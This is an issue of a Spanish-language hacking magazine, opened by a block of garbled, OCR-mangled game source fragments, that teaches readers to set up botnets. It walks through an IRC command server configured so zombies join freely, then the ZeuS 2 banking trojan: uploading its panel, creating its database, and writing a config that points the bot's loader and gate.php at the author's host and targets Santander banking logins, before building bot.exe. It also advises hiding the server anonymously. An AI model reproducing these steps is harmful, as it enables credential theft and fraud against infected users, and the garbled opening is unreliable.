MALWARE MAGAZINE

3,(NULL),S\_SGUN9,0,0}

HTF. 32768,4,1A Light

SHT2.0.1.1A

SHT2.0.1.(A

SHT2,1,7

HT2.2.7.1A

HTG,0,7,(A ReFire),S\_SGUN,0,0), // S\_SGUN9

LS\_SGUNFLASH2,0,0), S LIGHTDONE,0,01,

0,0)

ke the latest edition work.

D = 20°FRACUNT = 20\*FRACUNIT;

## (SPR\_SAWG,2,1,(A\_Rai (SPA\_PLSG, 0, 1, LA

ERSHOTI.speed = 15\*FRACUNIT; HEADSHOTI.speed = 10°FRACUNIT; PSHOTL speed = 10\*FRACUNIT

SHT2.3.7.(A N6.0.0). SHT2.4.7 2),S\_DSGUN8,0,0), SHT2 5 DSG(Rigi0,0), // S\_DSG 6,{NULL) 7.6.(A\_CloseShotg S DSGUN10.0 5.(A\_ReFire),S\_DSGUN,0,0), SPA (NULL),S\_DSNR2. (SPR\_SHT2, #SD ISPA SHT2.0.3 ULLIS DSGUM N.O.0}. (SPR INFLA (SPA HTDOM (SPA\_C .0.1.(A\_We eady), S\_CHAIN (SPR\_CHGG.0,1.(A\_Lowe HAINDOWN (SPR\_CHGG,0,1,(A\_Rais HAINUP.O.O. (SPR\_CHGG, 0, 4, (A\_FireCGon), S\_CHAIN2, (SPR\_CHGG, 1, 4, (A\_FireCGun), S\_CHAIN3 (SPR\_CHGG,1,0,(A\_ReFire),S\_CHAIN,0, (SFR\_CHGF, 32768, 5, (A\_Light1), S\_LIG (SFR\_CHGF,32769,5,(A\_Light2),S\_LIG (SPR\_MISG,0,1,(A\_WeaponReady),S

MISG, 0, 1, (A\_Lower), S\_MISSI 0,1,(A Raise),S MISSI

SAWG.3,4.1A\_W (SPR\_SAWG,2,1,(A\_Low

(SPR PLSG.0.1.(A

(SPR PLSG.0.1.(/

LSF,

1

(SPA\_BFGG SPA\_BFG

(SPR PLSG.0.3.0

GunFlash),S\_A

UN.0.0).// S

DSGUN1

DSGUN

EDOWN

LEFLA

LEUP

SAWB

SAWUP

SAWDOWN

30

// S\_PLASMADOWN

**#S PLASMAUP** 

// S PLASMA1

J

// S\_BEGDDWN

// S BFG2 // S\_BFG3

// S PUFF

AND TBAL

VS\_P -

1.0) VSE

BFGUP // S\_BFG1

// S\_8FG4 LASH2,0,0)

TDONE,0,01,

// S. PUFF2 // S. PUFF3 // S. PUFF4

0.01.

80,0

S\_BL0001 // S BLOOD2 // S BL0003 // S. PLASMA

case ga\_nothing: break: getscommands

G DoL preak

> laydemo PlayE imo ();

a\_completed

Completed ();

ga victory: StartFinale ();

e ga\_worlddor G\_DoWorldDone D

gameaction = ga\_no

nak:

break;

break;

se ga M\_ScreenShot D;

check con Mandbuild new consistency check buf = (gametic/.icdup)//idu/CKUPTICS (rand build new con

for (i=0 ; i<MAXPLAYERS ; i++)

if (play

HAINFLASH1 cmd = 8players[i].cmd CHAINFLASH2

ncpy (cmd, &netcmdslillbuf). MISSILE m

if (der ioplayback) ReadDemoTiccmd (cmd) if (dem

eDemoTiccmd (cmd);

W choix for a manufactor (f constant and factor of UPDP THRESHOLD A State of the st **AISSILEFLA** HEFLA ICCILEFLA

static char turbome extern char \*player\_nameslsprintf (turbomessage, "%s is tu playersi consoleplayeri. messa

if (netgame && !netdemo && !lgametic%iti

if (gametic > BACKUPTICS && consistancylillbufl !=

insistenty la if (playerstil.mb)

TE WES the

## Índice

## PRÓLOGO.....

|.

## TEMAS TRATADOS EN ESTA ENTREGA

### BOTNETS

1.	¿Qué es una BotNet?
2.	¿Para qué sirven las BotNets?
3.	Tipos de clientes
4.	¿Cómo funcionan las BotNets?
5.	¿Cómo montar una BotNet?
6.	BotNet por IRC
-	DetNet were hitter e were live h

7. BotNet por http o panel web.....

## II. INDETECTABILIDAD

1.	Moddear un binario
2.	Cambiar de icono
3.	Cambiar de Version Info

4. Quitar las firmas de un ejecutable.....

## III. ANÁLISIS DE MALWARES

1.	Ficheros maliciosos y Wireshark
2.	La información de Cuckoo
3.	La BotNet Pony

## IV. CREAR UN TROYANO PASO A PASO

- 1. Cliente.....
- 2. Servidor.....

## AGRADECIMIENTOS Y COLABORADORES:

ANTRAX Roda Blackdrake 79137913 Gabriela Agradecemos, principalmente, a todos los lectores que siguen esta revista.

## <u>PRÓLOGO</u>

Estimados amigos, a través de esta nueva entrega volvemos a acercarnos a ustedes con un tema de total actualidad como lo es el de las BotNets. El malware ha evolucionado y las infecciones no se limitan al control de un ordenador particular, sino a la creación de redes de computadores con las más diversas finalidades.

Conocer las herramientas de creación, funcionamiento y manejo son actividades que no pueden permanecer ajenas al mundo del hacking y la seguridad informática. Son éstas las razones que nos llevan a iniciarnos en una temática que resulta cautivante.

Por otra parte, en este transitar por el mundo del malware los objetivos son múltiples y transcienden la divulgación del conocimiento libre. Nos proponemos un intercambio de instrucción pero al mismo tiempo de aprendizaje consciente sobre el manejo de infecciones; las herramientas que ponemos en contacto con vosotros se orientan a dichos fines.

En este número encontraréis, desde la noción misma de lo que es una BotNet, hasta su operatividad en diversos entornos. Los distintas formas de montar una red de *zombies* y como instrumentar un tipo de indetectabilidad.

Complementamos la entrega con un ejercicio de análisis de ficheros maliciosos, correspondientes a la BotNet Pony, y damos inicio a la guía de creación de un troyano en VB.Net.

## Equipo de UndercOde

# **BotNets desde cero**

e.

Autor: ANTRAX

## I. <u>BOTNETS</u>

## 1. ¿QUÉ ES UNA BOTNET?

La palabra BotNet, proviene de bot (robot) + net (red), de donde la conjunción de ambas nos anuncia el propio concepto: red de control remota y automatizada de ordenadores. Se componen de un cliente (persona que controla los ordenadores) y "PCs *zombies*", que son los ordenadores infectados por dicha BotNet. La mayoría de las veces, los propietarios de las computadoras afectadas por este malware no se dan cuenta de que tienen al mismo alojado en ella. Cuando una PC se encuentra infectada pueden aparecer diversos síntomas, por ejemplo: experimentar lentitud en las aplicaciones o tareas a realizar, el *cooler* de la máquina se acelera aun cuando no la estamos utilizando, inestabilidades en la conexión, etcétera. Estas anomalías se explican -justamente- porque el dueño de la red *zombie*, se encuentra enviando órdenes a los equipos que tiene bajo su poder.



## 2. ¿PARA QUÉ SIRVEN LAS BOTNETS?

Las BotNets son utilizadas para hacer *spam*, básicamente con la finalidad de obtener información financiera y poder sacar provecho o algún determinado beneficio. Al tener buena propagación, se infectan miles de ordenadores en busca de cuentas bancarias, tarjetas de crédito, y otros accesos de interés.

Otro uso frecuente que se les suele dar, es el de facilitar el abuso de la publicidad con los servicios del tipo que nos brinda Adsense, Kontextua, entre otras empresas. De esta forma, se puede obtener mayor cantidad de visitas o clicks gracias a los *zombies* que se encuentran en la red y, en definitiva, ganar bastante dinero.



También son muy usadas para ataques de DDoS (denegación de servicio distribuido) cuya finalidad es tirar *websites*, foros, y pueden llegar a causar daños en la base de datos o consumir el ancho de banda del *host* para que deje de funcionar.

Por otra parte, tienen otros usos que aunque no son tan difundidos, es oportuno mencionarlos:

- Construir servidores para alojar software warez, cracks, seriales, etc.
- Construir servidores web para alojar material pornográfico y/o pedófilo.
- Construir servidores web para ataques de *phishing*.
- Montar redes privadas de intercambio de material ilegal.
- Sniffing de tráfico web para robo de datos confidenciales.
- Distribución e instalación de nuevo malware.
- Manipulación de juegos online.
- Minería y robo de bitcoins.

## 3. TIPOS DE CLIENTES

Hay varias formas de manipular una BotNet, entre los cuales podemos destacar los siguientes:

- ✓ IRC
- ✓ Web Panel
- ✓ Clientes de escritorio

En el IRC, lo que hacemos es que todos nuestros *zombies* conecten a un mismo canal de IRC y esperen órdenes por comandos.

🔣 mIRC .::[ Anak	:Dompu ]: [#hera [94] [+nrt]: "Dont fuck witch heroine"    200.93.147.154delitosinformaticos.gov.	colocalhost hehehe 🗧	
Eile View Fa	ivorites <u>T</u> ools Commands <u>W</u> indow <u>H</u> elp	_	8 ×
🛛 🔌 🛛 🖓 🗎 🏛			
	<pre>(0:19) * Joins: X-LrTfTwYsGut41 (X-LrTfTwYsGws6.surf-town.net) (0:19) * Joins: X-FhLvCeRgOd136 (X-FhLvCeRgGlin5.iskon.hr) (0:19] * Joins: Y-FhUVQHNQyNq136 (Y-FuVqNhQyQlin5.iskon.hr) (0:19] * Joins: Z-FwBnEiCxIs142 (Z-FwBnEiCx@mail.bashkortostan.ru) (0:19] * Joins: X-RkYxYsUkPo139 (X-RkYxYsUk@webserver.sby.rad.net.id) (0:19] * Joins: X-EuKyWzAiIe162 (X-EuKyWzAi@222.96.156.74) (0:19] * Joins: Y-LnUZAaXnKx143 (Y-LnUZAaXn@arges.mchost.ru) (0:19] * Joins: Z-IhKvMrIxBo145 (Z-IhKvMrIx@server.alnilhosting.com) (0:19] * Joins: X-QrNpQpWxEp144 (X-QrNpQpWx@ws25.surf-town.net) (0:19] * Joins: X-VvFqQvHrKw145 (X-VvFqQvHr@server.alnilhosting.com) (0:19] * Joins: X-SfDjRnMcQk383 (X-SfDjRnMc@d66.235.180.95) (0:19] * Joins: Z-YrOwXyNdEo145 (Z-YrOwXyNd@oberon.domains.sk)</pre>	★ +U-56711 +U-7716283 +X-AlDpPhUkTo166 +X-H1CuAsSzKg078 +X-LwPmSjTyJs248 +X-NpSgEiYdBw343 +X-OaKbXoFjRd372 +X-TuQyKuPaFa188 +X-TuLjWsXnOd188 +X-TuLjWsXnOd188 +X-TuLLjBsDu247 +X-Y1JeMcHx2j144 +X-ZiSvSwQaDy221 +Y-AdI0MxBwEy331 +V-AdI0MxBwEy331	
IndoIRC Ana	[00:19] * Joins: Y-UFZIGkDnUx132 (Y-UFZIGkDn@79.142.87.165) [00:19] * Joins: Z-XvZIUxIxDc137 (Z-XvZIUxIx@vww.di.uminho.pt) [00:19] * Joins: Y-QrSjUiLkDx151 (Y-QrSjUiLk@201-63-34-190.salesiano-a ta.br)	+Y-BfWiPkOqOi127 +Y-CmHxXyQhPb158 +Y-DqAySrMkFb926 +Y-DvDsMxCyDh246 +Y-EkCaliWyNm255	
#hera	[00:19] * Joins: Y-GaSuUdIfJt145 (Y-GaSuUdIf@82.100.233.210) [00:19] * Joins: X-ZwJbItDqOv148 (X-ZwJbItDq@w89.webd.pl) [00:19] * Joins: Y-ReAuNpNxJd148 (Y-ReAuNpNx@nexblue.de)	+Y-GkDmFvShWi157 +Y-KwLpWwTgBk034 +Y-LnUzAaXnKx143	
Hidlerpg	[00:19] * QUITS: Y-LIEIIVGXUCT30 (Y-LIEIIVGX@WS27.SUFF-TOWN.NET) (Broken pipe) [00:19] * Joins: X-YxCzWvMtCf366 (X-YxCzWvMt@ds11-145.OnlineToday.Com) [00:20] * Joins: Z-EdHwByNkLk152 (Z-EdHwByNk@sd-14731.dedibox.fr)	+Y-MpDiWmGpUb112 +Y-OvAiSoBpEo137 +Y-ReAuNpNxJd148	Ŧ
-			

#### Malware Magazine

De forma muy similar sucede con el Web Panel; los *zombies* conectan a una misma IP, en donde tendremos un panel y desde éste podremos introducir comandos o clickear las acciones que traiga dicha BotNet.

2003 11 0003									
Information:			No. of Concession, Name						
Profile: GMT date: 11.03.2009 GMT time: 09:26:39			Countries:		CompID's:				
statistics:	-		Botnets:		IP's:				
Summany					Type: Outside N	AT - Apply			
Dehender	-		L						
othet:									
→ Online bots					Forward >>				
Remote commands									
ogs:	Result:					1			
Search	# CompID	Ver/Botnet	IP	Country	Socks	Proxy	Screensho	t Kill OS	Online time Lag
Search with template	1 user_1d9ce10c45_01d6e996	1.1.1.0/main	213.	S RU	213.1 3834	5 213.1	. View	Kill	96:13:39 0.96
Unloaded files	2 fic_000ebb9b	1.1.2.2/main	94.1		94.1 1025	94.2.3:34451	View	Kill	96:32:47 0.76
	3 family_01207eeb	1.1.2.2/main	86.1	GB	86.1 1027	86. 22093	View	Kill	98:58:44 0.32
ystem:	4 d719sf2j_0019064f	1.1.2.2/main	87.2	GB	87.2501025		View	Kill	96:49:07 0.23
Profiles	5 218_u_1_00ac3738	1.1.2.2/main	195	RU	19 :1025	195. 10359	View	Kill	96:27:06 0.14
Profile	6 illusion_f2243e_00576c9d	1.1.2.2/main	124	TH	124. 1025	•	View	Kill	104:12:36 0.84
Options	7 brian_ally_0228d16c	1.1.2.2/main	82	GB	82.1 :1027	-	View	Kill	97:49:55 0.31
Locaut	8 telekit_7482b02_00b07900	1.1.2.2/main	94		94.1 :1025	94.181.0.059:33846	View	Kill	98:00:42 0.15
Logout	9 your_jaxvxjzedk_00a364bc	1.1.2.2/main	82.	GB	82. /:1025		View	KIII	96:10:44 26.7
	10 home_881b31b48d_00170f87	1.1.2.2/main	58.0000000	TH	58.5 1048	58. 32353	View	KIII	103:14:13 1.04
	11 your_	1.1.2.2/main	68		68. :1025	681/992	view	KIII	104:12:03 0.57
	12 blackxp_000325d8	1.1.2.2/main	12-	TH	-	124. 4//3//60	-	-	98:38:15 0.18
	13 61546c1arca840e_00397f1d	1.1.2.2/main		RU	77.5 (1027	77.5 27:14804	view	KIII	104:11:25 0.07
	14 xp_0051dba0	1.1.2.2/main	38	1H	38.2 1023	58.8 - 3/112	view	KIII	97:37:17 3.93
	15 desktop_02059af2	1.1.2.2/main	190	AR	190.1 1025	190.1-3:32639	View	KIII	107:20:49 0.65
	15 davie_0085eb43	1.1.2.2/main	05	GB	05 1036	62.3 37719 95	View	KIII	96:34:49 0.18
	17 1_0071923734944_00251597	1.1.2.2/main	93	Aller and	93.1026	93	Minus	KIII	96.26.01 3.20
	19 minsik 00060abs	1.1.2.2/main	102	CK.	192 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	102 22664	View	Real I	96:30:01 3:20
	20 ammo 00135651	1.1.2.2/main	82	GR	82 1025	82 3 15589	View	Kill	96:31:56 0 15
	21 freedom 867dc59 000050cf	1.1.2.2/main	82	RU	82	-	View	Kill	98-18-30 0.07
	22 nc fec662h1943d 00153eae	1.1.2.2/main	86 2000	GB	86 1027	-	View	Kill	104-11-26 0 15
	23 pep 003f0760	1.1.2.2/main	95		95 30 201025	95	View	Kill	96:39:22 0 31
	24 home	1.1.2.2/main	74	inc.	24 54537	24 4 3/27755	View	Kill	104:12:37 0.67
	25 hsaftnz 7e2bb74 017743b0	1.1.2.2/main	89.000.00.00	HU	89.200001007	89	View	Kill	97:55:18 0.26
	26 client df77fa69 0d6210d8	1.1.2.2/main	89.	RO	89.4 1025	89.00.00.00.00.00.00.00.00.00.00.00.00.00	View	Kill	96:14:16 0.70
	27 acer 4d30879900 004dbca2	1.1.2.2/main	202	TH	-	202.4 2125983	-	-	97:16:11 0
	28 abc 67365a4e5b6 00204191	1.1.2.2/main	11.		115. 1027	115. 34129	View	Kill	98:45:29 8.43
	29 skz fd19c55e0a2 003d5664	1.1.2.2/main	61.	тн	61.5 1025	61.5 35502	View	Kill	96:32:12 10.0

Por último, tenemos las BotNets con Clientes de escritorio y éste es similar a un troyano con su Cliente - Servidor. Los *zombies* conectan a una DNS y desde nuestro cliente podremos darles órdenes.

						MINIMIZA	R-CERRAR
ZON	<b>AB</b>	ILEN		30	Ľ	54 conectados	5
ZOMBIEM BOT 2.0 PRIVADO	- CREADO POR	ARHACK - TROYANOSYVIR	US.COM.AR				
	IP	PC/USUARIO	PAIS	SO	VER	ESTADO	
CONECTAR		CSA0101/Administra	Spain	Win XP	2.0F	En espera de ordenes	
CONLECTAR		GABRIELA1/gabriela	Peru	Win Vista	2.0F	En espera de ordenes	
DESCONFOTAR		PC5/PC5-SANDOS	Spain	Win XP	2.0E	En espera de ordenes	
DESCORECTAR		EDUARD01/eduardo	Mexico	Win Vista	2.0E	En espera de ordenes	
		COMPAQ1/Propietario	Mexico	Win XP	2.0d	En espera de ordenes	
		ADMINISTRATIVO1/A	Mexico	Win Vista	2.0d	En espera de ordenes	
OPCIONES		LAP-DIANA/Paviment	Mexico	Win Vista	2.0d	En espera de ordenes	
		SISTEMAS1/sistemas	Mexico	Win Vista	2.0d	En espera de ordenes	
HERRAMIENTAS		NB171/Edith Garcia	Mexico	Win XP	2.0d	En espera de ordenes	
		ASISTENTE/Usuario	Guatemala	Win Vista	2.0d	En espera de ordenes	
ESTADISTICAS		ILLUSION_PC/Illusion	Costa Rica	Win XP	2.0d	En espera de ordenes	
		ASISTENTE/Administr	Spain	Win XP	2.0d	En espera de ordenes	
CREAR BOT		MXTOMADRG/daniel	Mexico	Win XP	2.0d	En espera de ordenes	
CREAR BOT		HOME-9D03D91183/	United States	Win XP	2.0d	En espera de ordenes	
ACEBCA DE		WINDOWS_KAMALEO	Costa Rica	Win XP	2.0d	En espera de ordenes	
ACERCA DE		DESKTOP/Administra	Spain	Win XP	2.0c	En espera de ordenes	
		GEORGIA1/georgia	Venezuela	Win Vista	2.0c	En espera de ordenes	
CMD enviades:		JORGE1/jorge	Mexico	Win Vista	2.0.4	En espera de ordenes	
Conexiones: 66 B Recibidos: 3218	PANE	L DE TARE	AS	ANDO RAPI			ENVIAR
ZOMBIEM PRIVADO						TROYANOSY	VIRUS.COM.AR

Nº 2

## 4. ¿CÓMO FUNCIONAN LAS BOTNETS?

Al igual que los troyanos, las BotNets están compuestas por un cliente-servidor. Se propagan rápidamente por internet de forma masiva y pueden provocar una infección en cadena. Esto quiere decir que si yo infecto a un contacto mío, éste infectará a los suyos, y a su vez éste a los suyos; y así sucesivamente, hasta formar una gran cadena de infección...



Seguramente, más de una vez habrán visto en Facebook publicaciones que suelen llamar la atención como las siguientes:



Capture of Osama Bin Laden (video) binladen.netne.net Capture of Osama Bin Laden(dick for watch video)

🖓 Hace 2 horas · Me gusta · Comentar · Compartir



Distracting Beach Babes [HQ] Length: 5:32

ü

📕 5 minutes ago via Digital Video · Comment · Like · See Wall-to-Wall

En los dos casos precedentes, se muestran videos que pueden ser tentadores, pero en realidad se trata de un gusano que se propaga por Facebook. En consecuencia, si alguna vez entraron, lo más probable es que se hayan infectado...

Otro tipo de infección es por URL y sucede cuando al entrar a un sitio web, éste muestra una especie de advertencia que al aceptarla, estamos dando paso a una BotNet. La advertencia suele verse de la siguiente forma:

Advertencia -	Seguridad	×
La firma ¿Desea e	digital de la aplicación no se puede jecutar la aplicación?	verificar.
Nombre:	Adobe_Flash_Player_Update	
Editor:	(NOT VERIFICADO) Adobe Flash Player TM	
De:	file://	
Confiar	siempre en el contenido de este editor.	
		Ejecutar Cancelar
La f con des	firma digital no se puede verificar mediante una fuente de Ifianza. Ejecute esta aplicación solamente si confía en el arrollador.	Más información

En este caso, simula ser una actualización de Flash Player, pero en realidad es un malware que intenta meterse en nuestro sistema.

## 5. ¿CÓMO MONTAR UNA BOTNET?

Antes hemos mencionado los 3 tipos de BotNets (IRC, HTTP, Cliente de escritorio); en los tres casos podemos señalar que los *zombies* deben apuntar al mismo sitio. Esto es, en el caso del IRC, apuntarlos a un canal registrado en algún servidor; si es por HTTP, apuntarlos a un *host*; y si es por ejecutable, apuntarlos a alguna DNS. En cualquiera de las hipótesis corremos riesgos de perder todos los remotos, ya que puede ser denunciada y la dan de baja. Lo que se recomienda, es tener un server propio en casa montado en nuestra PC para que los remotos lleguen ahí; obviamente, teniendo precauciones para mantenerlo anónimo. Otra alternativa viable, es montarlo en un servidor de algún país en el que no haya leyes que prohíban su manejo.

## 6. BOTNET POR IRC

Para montar una por IRC necesitaremos **IRCPlus**, lo instalamos y nos vamos a su pantalla principal de configuración:

\varTheta IRCPlus Remote Control		×
Main Menu	irc <sub>plus</sub>	_
	Server Name: antrax-labs.no-ip.org	
	Description: IRC TEST	
ฐ Prohibited	Contact Info:	
Miscellanies About	Login Password:	
	Port: 6667 ÷ Limit clones: 3 ÷	
	Limit connections: 10 🛨 🔽 Enable DNS Lookups	
	© 1998-99 Mad-Web Network:	s

Colocamos un nombre en el Server y una descripción.

**Nota:** Es importante aclarar que el puerto que pongamos (en mi caso el 2000), debe estar abierto en nuestro *router* en caso de que tengamos. En caso de tener *router* y no tenerlo abierto, lo abrimos de la misma forma que cuando usamos un troyano.

El resto de las opciones son a su gusto, como por ejemplo, la de los canales:

😉 IRCPlus Remote Control		
Main Menu         Image: Connection         Image: Connection	Registered Channels: #ANTRAX-LABS	Add         Edit         Delete         Dynamic Mode         ● Owner       Host         ● Participant
5000		© 1998-99 Mad-Web Networks

Importantísimo lo que está remarcado en rojo, ya que de esta forma podrán entrar todos los *zombies* a nuestro canal sin ningún tipo de restricción.

También es bueno crear un *user admin* para controlar el canal y el servidor.

Registramos el Nick:



Y luego nos dirigimos a Operators:

IRCPlus Remote Control     Main Menu     Connection     General Settings	ircp	lus.
<ul> <li>Ulent</li> <li>Perators</li> <li>Security</li> <li>Channels</li> <li>Kicknames</li> <li>Memorandums</li> <li>Prohibited</li> <li>Server Relaying</li> <li>Miscellanies</li> <li>About</li> </ul>	IRC Operators: admin ANTRAX	Operator         Entry Name:       ANTRAX         Password:       TeSt123         Host Mask:       *!*@*         Ø       Administrator       © System Operator         Ø       Administrator       © System Operator         Ø       Global Operator       © IRC Operator         Ø       System Marrager       Help Operator         Add       Edit       Delete       Cancel
5000		© 1998-99 Mad-Web Networks

Como pueden ver, ahí mi user está como Operador del IRC.

Paso siguiente, vamos a nuestro cliente de IRC:



/server antrax-labs.no-ip.org

Colocamos /server "NO-IP" o IP.

En mi caso, coloque mi "no-ip" de test:



Ahí nos da una bienvenida.

Identifico mi user de la siguiente manera (comando):

/pass "Password"

Ejemplo: /pass 12345

Y por último entramos al canal:



Con la entrada de nuestros *zombies,* ya estamos en condiciones de poder manipularlos a través de comandos definidos -previamente- en la BotNet.

Observen una captura de ejemplo sobre cómo se ve una por IRC cuando entran zombies:

Entrando en #ANTRAX-LABS

[11:04] <@ANTRAX> Visita www.antrax-labs.net

[11:04] <@ANTRAX> Hola!



Como ven, el primero de todos (@Z) es el Operador del canal -quien manipulará la BotNet - todos los demás, son los *zombies*.

De esta forma, no podrán darnos de baja el canal ya que el servidor lo tendremos montado en nuestra propia PC.

## 7. BOTNET POR HTTP O PANEL WEB

Para este caso utilizaremos la ZEUS 2.

En este apartado, veremos cómo montarla con las configuraciones básicas, ya que se pueden agregar opciones más avanzadas, pero por ahora solo nos centraremos en las funciones principales para dejarla operativa.

Si acudimos a la carpeta de la podremos ver todos estos directorios:



La carpeta llamada "server[php]" es la que debemos subir a algún *hosting*. Tener presente que este *hosting* no debe ser gratuito.

Dentro de esta carpeta podremos ver los siguientes ficheros y directorios:



Abrimos el cliente de FTP y los subimos a todos:

🔁 h4x0r@underc0d	e.org - FileZilla		_		_				_	
Archivo Edición Ver	r Transferencia Servidor Marca	dores Ayuda								
M • 🖊 🖬 🖗	🐨 😫 🖗 🖓 🗄	🗆 🕂 😤 🛝 👘								
Servidor: underc0de	Nombre de usuario:	4x0r Con	traseña: 🔸	•••••	Puerto:		Conexión rápida			
Comando: PASV Respuesta: 227 En Comando: STOR i Respuesta: 227 En Comando: STOR ( Respuesta: 150 Op Respuesta: 150 Op	Rering Passive Mode (206,51,232,1) Index.php Rering Passive Mode (206,51,232,1) geobase.txt pening ASCII mode data connection pening ASCII mode data connection	0,103,176). 0,88,138). for index.php for geobase.txt								
Sitio local: C:\Docum	ents and Settings)Administrador(Ms	documentos'įZeus 2.0.8.	9\Zeus 2.0.8	3.9(server[php])			Sitio remoto:         /public_html/zeus          2         foro          2         forum          2         s          2         s          2         script          2         script			
	e J server[php] J Plantilas					•	- 1 zeus - 2 ruby			
Nombre de arch /	Tamaño de Tipo de archivo Carpeta de arc. Carpeta de arc. Carpeta de arc. S5.801 Archivo PHP 15.363 Archivo PHP 0 Archivo PHP	Útima modificación 12/03/2011 9:39:08 12/03/2011 9:39:08 12/03/2011 9:39:08 12/03/2011 9:39:08 12/03/2011 9:39:08 12/03/2011 9:39:08					Nombre de archivo /	Tamaño d 55.881 15.363 0	Tipo de arc Carpeta de Archivo PHP Archivo PHP Archivo PHP	Útime
Seleccionado 3 archivos	s y 3 directorios. Tamaño total: 71.2	:44 bytes					3 archivos y 1 directorio. Tamaño t	total: 71.244 bytes		
Servidor/Archivo local h4x0r@underc0de. C:\Documents and 00:00:01 bra C:\Documents and 00:00:01 bra	Dirección         Archivo           .org	remoto html/zeus/install/geobas. 9.2% html/zeus/install/index.ph 100.0%	2.83 262.144 by p 2 28.830 byt	amaño Prioridad 19.738 Normal /tes (262.1 KB/s) 18.830 Normal /es (28.8 KB/s)	Estado Transfirien Transfirien	do do				
Archivos en cola (-	<ol> <li>Transferencias falidas</li> </ol>	Transferencias satisfac	torias (3)							

Una vez realizadas las acciones anteriores, el paso siguiente es crear una base de datos y un usuario que acceda a ella.

Para ello debemos ir al Cpanel → MySQL Bases de Datos:

Cr	Crear una Nueva Base de Datos								
	Nueva Base de datos: h4x0r_	zeus	0						
		Crear Base de Datos							

Una vez creada, haremos también un usuario:

#### MySQL Usuarios añadir Nuevo Usuario

naur Nuevo osuario	J	
Nombre Usuario:	h4x0r_zeus	]©
Contraseña:		]©
Contraseña (Otra vez):	•••••	]
Fuerza (por qué?):	Muy debil (18/100)	Generador de contraseñas
	Crear Usuario	

Finalmente, las vinculamos:

## añadir Usuario a Base de Datos

Usuario:	h4xOr_zeus	٠
Base de Datos:	h4xOr_zeus	•
	Añadir	

A continuación procedemos a darle todos los permisos a la cuenta:

#### Manejar los Privilegios del Usuario

Usuario: h4x0r\_zeus Base de Datos: h4x0r\_zeus

🗹 TODOS LOS	S PRIVILEGIOS
ALTER	CREATE
CREATE ROUTINE	CREATE TEMPORARY TABLES
CREATE VIEW	✓ DELETE
☑ DROP	SECUTE
✓ INDEX	☑ INSERT
✓ LOCK TABLES	REFERENCES
SELECT	✓ UPDATE

Hacer Cambios

← Hacia atrás

Listo, ya tenemos hecha nuestra base de datos, que será en donde se guarden todos los logs que capturemos.

Ahora, configuraremos el server del Bot; para ello vamos al directorio **Builder** y abrimos el archivo llamado **config.txt** 

Les copio/pego el texto plano del \*.txt

1. ;Build time: 22:38:59 11.03.2011 GMT 2. ;Version: 2.0.8.9 3. 4. entry "StaticConfig" 5. ;botnet "btn1" 6. timer config 60 1 7. timer\_logs 1 1 8. timer\_stats 20 1 9. url\_config "http://localhost/config.bin" 10. remove certs 1 11. disable tcpserver 0 12. encryption\_key "secret key" 13. end 14. 15. entry "DynamicConfig" 16. url\_loader "http://localhost/bot.exe" 17. url\_server "http://localhost/gate.php" 18. file\_webinjects "webinjects.txt" 19. entry "AdvancedConfigs" 20. ;"http://advdomain/cfg1.bin" 21. end 22. entry "WebFilters" 23. "!\*.microsoft.com/\*" 24. "!http://\*myspace.com\*" 25. "https://www.gruposantander.es/\*" "!http://\*odnoklassniki.ru/\*" 26. 27. "!http://vkontakte.ru/\*" 28. "@\*/login.osmp.ru/\*" 29. "@\*/atl.osmp.ru/\*" 30. end 31. entry "WebDataFilters" 32. ;"http://mail.rambler.ru/\*" "passw;login" 33. end 34. entry "WebFakes" 35. ;"http://www.google.com" "http://www.yahoo.com" "GP" "" "" 36. end 37. end 38.

En la siguiente captura, una imagen de cómo debería quedar:

```
;Build time:
               22:38:59 11.03.2011 GMT
;Version:
               2.0.8.9
entry "StaticConfig"
  ;botnet "localhost"
 timer_config 60 1
 timer_logs 1 1
 timer_stats 20 1
 url_config "http://underc0de.org/~h4x0r/zeus/config.bin"
 remove_certs 1
  disable_tcpserver 0
  encryption_key "kjdfkgdr4r52438r9we"
end
entry "DynamicConfig"
 url_loader "http://underc0de.org/~h4x0r/zeus/bot.exe"
 url_server "http://underc0de.org/~h4x0r/zeus/gate.php"
  file_webinjects "webinjects.txt"
  entry "AdvancedConfigs'
   ;"http://advdomain/cfg1.bin"
  end
  entry "WebFilters"
    "!*.microsoft.com/*"
    "!http://*myspace.com*"
    "https://www.gruposantander.es/*"
    "!http://*odnoklassniki.ru/*"
    "!http://vkontakte.ru/*"
    "@*/login.osmp.ru/*"
    "@*/atl.osmp.ru/*"
  end
  entry "WebDataFilters"
    ;"http://mail.rambler.ru/*" "passw;login"
  end
  entry "WebFakes"
   ;"http://www.google.com" "http://www.yahoo.com" "GP" "" ""
  end
end
```

Pasaremos a explicar las modificaciones:

;botnet "btn1"

• Modificamos a lo que está entre comillas por localhost, que será en donde estará situada la BotNet.

url\_config "http://localhost/config.bin"

• Modificamos la URL por la nuestra. En este caso, debemos especificar en donde se encuentra el **config.bin** (que aún no hemos creado, pero es el directorio que se estima que estará)

encryption\_key "secret key"

 Acá debemos poner una llave secreta; que es un código que nosotros queramos. En mi caso presioné varias teclas al azar.

url\_loader "http://localhost/bot.exe"

#### url\_server "http://localhost/gate.php"

• Por último tenemos las dos precedentes, la primera es en donde tenemos el bot.exe (que aún no lo hemos creado, pero es en donde estará alojado); y la segunda es el **gate.php** que ya hemos subido previamente.

Seguidamente, abrimos el zsb para crear el config.bin y el bot.exe que nos faltan:

<b>config</b> Documento de 1 KB	texto	See Op 1	<b>ttings</b> pciones de configuración KB		<b>webinjects</b> Documento de texto 70 KB	<b>,</b>	zsb
	Zeus Builder Information Builder Settings		Information Current version Version: 2.0.8.9 Build time: 22:38: Signature: Death Information about Encryption key: kjdfkgdr4r52438r0 Information: Bot not founded.	59 11.03.2011 GM huckster active bot	T Refresh	Remove bot	

- Así, en Encryption Key, la llave que colocamos en el config.txt
- A continuación, vamos a Builder y damos click en Browse... y buscamos el config.txt
- Seguido a esto, damos click en "Build the Bot Configuration".
- Guardamos el config.bin que nos genera y finalmente damos click en "Build the bot Executable"
- Por último, guardamos el **bot.exe**

Information       Builder         Source configuartion file:       Source configuartion file:         C:\Documents and Settings\Administrador\Mis dov       Browse       Edit         Actions       Build the bot configuration       Build the bot executable	. Zeu\$ Builder	
